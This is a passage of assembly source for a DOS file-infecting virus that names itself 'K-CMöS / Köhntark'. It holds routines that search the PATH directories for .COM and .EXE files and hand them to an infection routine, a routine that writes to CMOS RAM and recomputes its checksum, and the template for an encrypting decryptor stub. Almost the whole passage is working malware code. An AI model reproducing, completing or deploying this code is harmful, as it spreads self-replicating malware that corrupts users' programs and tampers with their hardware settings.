  882.         mov cl,0Ch
  883.         shl dx,cl     ;dx * 4096
  884.         mov bx,ax
  885.         mov cl,4
  886.         shr bx,cl     ;ax / 16
  887.         add dx,bx     ;dx = dx * 4096 + ax / 16 =SS CS
  888.         and ax,0Fh    ;ax = ax and 0Fh          =SP IP
  889.         ret
  890.  
  891. ;═════════════════════════════════════════════════════════════════════════════
  892.  
  893. FIND_FILE:
  894.              push  si
  895.              push  es
  896.              mov   es,es:WORD PTR [si + PSP_SEG - VIRUS] ;es=saved PSP segment
  897.              mov   es,es:2ch                             ;es:di points to environment
  898.              xor   di,di
  899.              mov   bx,si
  900. FIND_PATH:
  901.             lea   si,[bx + PATH_STR - VIRUS]  ;source :ds:si = 'P'
  902.             lodsb                             ;load 'P'
  903.             mov   cx,7FFFh                    ;size of environment= 32768 bytes
  904.             not   cx                          ;cx=8000h
  905.             repne scasb                       ;find 'P' in es:di
  906.             mov cx,4
  907.  
  908. CHECK_NEXT_4:
  909.                lodsb                   ;check for 'ATH'
  910.                scasb
  911.                jne  FIND_PATH
  912.                loop CHECK_NEXT_4
  913.  
  914.                mov WORD PTR [bx + PATH_ADDRESS - VIRUS],di            ;save path's address es:di
  915.                lea di,[bx + WORK_AREA - VIRUS]
  916.                pop es                                                 ;restore PSP segment
  917.                jmp short COPY_FILE_SPEC_TO_WORK_AREA
  918.  
  919. NO_FILE_FOUND:
  920.                 cmp word ptr [bx + PATH_ADDRESS - VIRUS],0 ;has path string ended?
  921.                 jne FOLLOW_THE_PATH                        ;if not there are more subdirs
  922.                 jmp EXIT                                   ;path string ended.. exit
  923.  
  924. FOLLOW_THE_PATH:
  925.                  lea di,[bx + WORK_AREA - VIRUS]              ;destination es:di = work area
  926.                  mov si,WORD PTR [bx + PATH_ADDRESS - VIRUS]  ;source      ds:si = Environment
  927.                  mov ds,WORD PTR [bx + PSP_SEG - VIRUS]       ;ds=PSP segment
  928.                  mov ds,ds:2ch                                ;ds:si points to environment
  929.  
  930. UP_TO_LODSB:
  931.                  lodsb                               ;get character
  932.                  xchg cx,ax                          ;he he
  933.                  cmp cl,';'                          ;is it a ';'?
  934.                  xchg cx,ax                          ;he he
  935.                  je SEARCH_AGAIN
  936.                  cmp al,0                            ;end of path string?
  937.                  je CLEAR_SI
  938.                  stosb                               ;save path marker into di
  939.                  jmp SHORT UP_TO_LODSB
  940.  
  941. CLEAR_SI:        ;mark the fact that we are looking thru the final subdir
  942.                   xor si,si
  943.  
  944. SEARCH_AGAIN:
  945.                   mov WORD PTR cs:[bx + PATH_ADDRESS - VIRUS],si ;save address of next subdir
  946.                   cmp BYTE PTR cs:[di-1],'\'                     ;ends with a '\'?
  947.                   je COPY_FILE_SPEC_TO_WORK_AREA
  948.                   mov al,'\'                                     ;add '\' if not
  949.                   stosb
  950.  
  951. ;***********************************************
  952. ; put *.COM / *.EXE into workspace
  953. ;***********************************************
  954.  
  955. COPY_FILE_SPEC_TO_WORK_AREA:
  956.                   push cs
  957.                   pop  ds                                      ;ds=cs
  958.                   mov  WORD PTR [bx + FILENAME_PTR - VIRUS],di ;es:di = WORK_AREA
  959.                   mov  si,bp                                   ;bp=file spec
  960.                   mov  cx,3                                    ;length of *.com0/ *.EXE0
  961.                   rep  movsw                                   ;move *.COM0/ *.EXE0 to workspace
  962.  
  963. ;************************************************
  964. ; Find FIRST FILE
  965. ;************************************************
  966.  
  967.                   mov ah,04EH                     ;DOS function
  968.                   lea dx,[bx + WORK_AREA - VIRUS] ;dx points to path in workspace
  969.                   mov cx,3Fh                      ;attributes RO or hidden OK
  970. FIND_NEXT_FILE:   int 21H
  971.                   jnc FILE_FOUND
  972.                   jmp short NO_FILE_FOUND
  973.  
  974. FILE_FOUND:
  975.              mov di,WORD PTR [bx + FILENAME_PTR - VIRUS] ;destination: es:di
  976.              lea si,[bx + DTA_File_NAME - VIRUS]         ;origin       ds:si
  977.  
  978. MOVE_ASCII_FILENAME:
  979.                       lodsb                    ;move filename to the end of path
  980.                       stosb
  981.                       cmp al,0                 ;end of ASCIIZ string?
  982.                       jne MOVE_ASCII_FILENAME  ;keep on going
  983.                       pop si                   ;restore si to use in the following
  984.                       push bp                  ;save COM / EXE string pointer
  985.                       call CHECK_N_INFECT_FILE ;check file if file found
  986.                       pop  bp                  ;restore COM / EXE string pointer
  987.                       jnc  EXITX
  988.                       mov  bx,si               ;fix bx
  989.                       push si                  ;save si again
  990.                       mov ah,04Fh
  991.                       jmp short FIND_NEXT_FILE
  992.  
  993. EXIT:
  994.                       pop  si
  995. EXITX:
  996.                       ret
  997.  
  998. ;==============================================================================
  999. CMOS_CHCKSM:
  1000.  
  1001. ; INPUT:
  1002. ; DL = CMOS ADDRESS of BYTE TO be MODiFiED
  1003. ; BL = NEW BYTE VALUE to be PUT IN CMOS RAM
  1004.  
  1005. ; OUTPUT:
  1006. ; None.
  1007. ; REGISTERS USED: AX,CX,BX,DX
  1008.  
  1009. ;*************************
  1010. ; GET CMOS Checksum => CX
  1011. ;*************************
  1012.  
  1013.         xor     ax,ax
  1014.         mov     al,2Eh           ;msb of checksum address
  1015.         out     70h,al           ;send address / control byte
  1016.         in      al,71h           ;read byte
  1017.  
  1018.         xchg    ch,al            ;store al in ch
  1019.  
  1020.         mov     al,2Fh           ;lsb of checksum address
  1021.         out     70h,al           ;send address / control byte
  1022.         in      al,71h           ;read byte
  1023.  
  1024.         xchg    cl,al            ;store lsb to cl
  1025.  
  1026. ;*********************
  1027. ; Fix CMOS Checksum
  1028. ;*********************
  1029.  
  1030.         push    dx
  1031.         xchg    dl,al           ;AL = address
  1032.         out     70h,al          ;send address / control byte
  1033.         in      al,71h          ;read register
  1034.  
  1035.         sub     cx,ax           ;subtract from checksum
  1036.  
  1037.         add     cx,bx           ;update checksum value in register.
  1038.  
  1039. ;****************************
  1040. ; Write CMOS byte to Address
  1041. ;****************************
  1042.  
  1043.         pop     dx
  1044.         xchg    dl,al           ;AL = address
  1045.         out     70h,al          ;specify CMOS address
  1046.         xchg    al,bl           ;new CMOS value => al
  1047.  
  1048.         out     71h,al          ;write new CMOS byte
  1049.  
  1050. ;*********************
  1051. ; Write CMOS Checksum
  1052. ;*********************
  1053.  
  1054.         mov     al,2Eh          ;address of checksum 's msb
  1055.         out     70h,al          ;specify CMOS address
  1056.         xchg    al,ch           ;msb of new checksum
  1057.  
  1058.         out     71h,al          ;write new CMOS msb
  1059.  
  1060.         mov     al,2Fh          ;address of checksum 's lsb
  1061.         out     70h,al          ;specify CMOS address
  1062.         xchg    al,cl           ;lsb of new checksum
  1063.  
  1064.         out     71h,al          ;write new CMOS lsb
  1065.         ret
  1066.  
  1067. ;═════════════════════════════════════════════════════════════════════════════
  1068.  
  1069. NAME_AUTHOR     db  'K-CMöS / Köhntark'
  1070.  
  1071. WORK_BUFFER     db  0B9h,00,00                     ;mov  cx,VSIZE
  1072.                 db  0BBh,00,00                     ;mov  si,VADDRESS
  1073.                 db  02Eh,081h,07,00,00             ;add WORD PTR cs:[si],KEY
  1074.                 db  083h,0C3h,02                   ;add si,02
  1075.                ;db  043h,043h                      ;inc bx, inc bx
  1076.                 db  0E2h,0F6h                      ;loop add..
  1077.  
  1078. COM_MASK        db  '*.COM',0
  1079. EXE_MASK        db  '*.EXE',0
  1080. PATH_STR        db  'PATH=',0
  1081.  
  1082. START_IMAGE     db  0E9h,0,0,020h
  1083.  
  1084. ORIG_SSSP       dw  0,0
  1085. ORIG_IPCS       dw  0,0
  1086. COM_FLAG        db  0                   ;0=COM 1=EXE
  1087. START_CODE      db  4 dup (90h)         ;4 bytes of COM or EXE hdr goes here
  1088.  
  1089. ;═════════════════════════════════════════════════════════════════════════════
  1090.  
  1091. FINAL:                ;label of byte of code to be kept in virus when it moves
  1092.  
  1093. ;═════════════════════════════════════════════════════════════════════════════
  1094.  
  1095. HEAP:
  1096.  
  1097. START_CODE2      db  24d dup (0)         ;2nd part of EXE hdr
  1098.  
  1099. PSP_SEG         dw  0
  1100.  
  1101. PATH_ADDRESS    dw  0
  1102. FILENAME_PTR    dw  0
  1103. WORK_AREA       db  64 DUP (0),'$'
  1104.  
  1105. DTA             db 21 dup(0)  ;reserved
  1106. DTA_File_Attr   db ?
  1107. DTA_File_Time   dw ?
  1108. DTA_File_Date   dw ?
  1109. DTA_File_Size   dd ?
  1110. DTA_File_Name   db 13 dup(0)
  1111.  
  1112. ;═════════════════════════════════════════════════════════════════════════════
  1113.  
  1114. ID               equ 77h
  1115. DECRYPTOR_SIZE   equ 16d ; equ OFFSET WORK_BUFFER - OFFSET START_IMAGE
  1116.  
  1117. MAIN ENDS
  1118.      END    HOST
  1119.